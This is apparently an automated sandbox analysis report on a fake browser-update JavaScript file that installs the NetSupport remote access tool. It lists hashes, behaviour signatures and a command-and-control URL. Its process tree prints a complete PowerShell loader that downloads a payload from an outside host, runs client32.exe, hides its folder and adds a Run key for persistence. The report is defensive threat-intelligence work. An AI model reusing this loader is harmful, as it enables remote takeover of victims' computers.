Analysis
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max time kernel
77s -
max time network
85s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
22-03-2024 17:36
Static task
static1
Behavioral task
behavioral1
Sample
Install/Update_121.0.6161.js
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
Install/Update_121.0.6161.js
Resource
win11-20240221-en
Behavioral task
behavioral3
Sample
Update_121.0.616.js
Resource
win10v2004-20240226-en
Behavioral task
behavioral4
Sample
Update_121.0.616.js
Resource
win11-20240214-en
General
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Target
Update_121.0.616.js
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Size
2.1MB
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MD5
06d126c1c612fff5200d81d27a55146d
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SHA1
855c4d47c573c62f73c339a9392fb22265c0a884
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SHA256
6369daabaaddeae0814f8ad5a1a931d180a32d7ef9c5738215aead2f6a90849c
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SHA512
f29999b32558e4b3689b2439521c0266aba92afa312e4f230b4b7a0932ddfcc0b8141a77d966734bd65dba5f38cb714cf814bf4e42491709a99716b005f6b0d7
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SSDEEP
49152:blHeolHeolHeolHeolHeolHeolHeolHeolHeolHeolHeolHeTlHeolHeolHeolHJ:bhhhhhhhhhhhQhhhhhhhhhhhhhhhhhhd
Malware Config
Extracted
https://edulokam.com/data.php?11245
https://edulokam.com/data.php?11245
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 5 IoCs
flow pid Process 4 4912 wscript.exe 7 4912 wscript.exe 9 4912 wscript.exe 15 4912 wscript.exe 31 4812 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
pid Process 3260 client32.exe -
Loads dropped DLL 6 IoCs
pid Process 3260 client32.exe 3260 client32.exe 3260 client32.exe 3260 client32.exe 3260 client32.exe 3260 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICEC = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX30\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4812 powershell.exe 4812 powershell.exe 4812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4812 powershell.exe Token: SeSecurityPrivilege 3260 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3260 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4912 wrote to memory of 4812 4912 wscript.exe 97 PID 4912 wrote to memory of 4812 4912 wscript.exe 97 PID 4812 wrote to memory of 3260 4812 powershell.exe 104 PID 4812 wrote to memory of 3260 4812 powershell.exe 104 PID 4812 wrote to memory of 3260 4812 powershell.exe 104
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_121.0.616.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4912 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HnNKeNXPxrsDgghL='https://edulokam.com/data.php?11245';$kaXfrnaBqEehUrhGaSQJKDJPltVqRaUrr=(New-Object System.Net.WebClient).DownloadString($HnNKeNXPxrsDgghL);$HVdGHZakbvkMCJvyJv=[System.Convert]::FromBase64String($kaXfrnaBqEehUrhGaSQJKDJPltVqRaUrr);$zxc = Get-Random -Minimum -10 -Maximum 37; $jFiIvMrNhWvsawDutNEwVeYMXHvvQ=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -PathType Container)) { New-Item -Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -ItemType Directory };$p=Join-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ 'WWW.zip';[System.IO.File]::WriteAllBytes($p,$HVdGHZakbvkMCJvyJv);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$jFiIvMrNhWvsawDutNEwVeYMXHvvQ)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else { Write-Host 'No exe.'};$AZ=Get-Item $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -Force; $AZ.attributes='Hidden';$s=$jFiIvMrNhWvsawDutNEwVeYMXHvvQ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Users\Admin\AppData\Roaming\DIVX30\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX30\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3260
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4120 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:81⤵PID:4576
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
1.1MB
MD5ad78a0252563980a2e0b0d9b23a6bbbd
SHA100bf9267f5a121bb93e5147980cf33438789732f
SHA256cbb6899ec35d39192fede29d06fcdc383151bf95db6982825929342413f99b39
SHA512304987b3aa66d3e85bb19b8cdb532a1b41d7176a69d01c0ebd21fb8496fd6549addee13bafc0a149ed5111bded7530bffd34a6f5cc8d1882d5475960f27e1256
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Filesize
1.8MB
MD5109a4fcdd6b3d82343500887a93834a3
SHA100b85f9219068ebd169dc65fcfee403df547db8e
SHA2566873f38f65df45eeb49a030adc2767be4f309d9c2aa5a5cd2696fa1718f5d9ad
SHA512d27a777ccdc18588da37f5794e8c3bd2c0db64eaa3605698d0c88849ddd28919dd068822a2b252a0d0a057ea13f6522acee69ecf66e8c6387e10fe49d390404d
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
677B
MD571086c6f76de8064c907c686a4ebec48
SHA131b6cb93fd02bad13daaf6771ae415328b89b562
SHA2568cb783cc32f26bbdacf8b16403c194e4199169ef4dffe2f11c081f900f657bd9
SHA51252d13f51b4e59d25382a06f8184ee5f66203bb5b0343861f38a56a567b20bc590eb7a9ba71f56dc73c01e4994fd23a13f70b2e68d1870798d04a6472e0bf2cd6
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f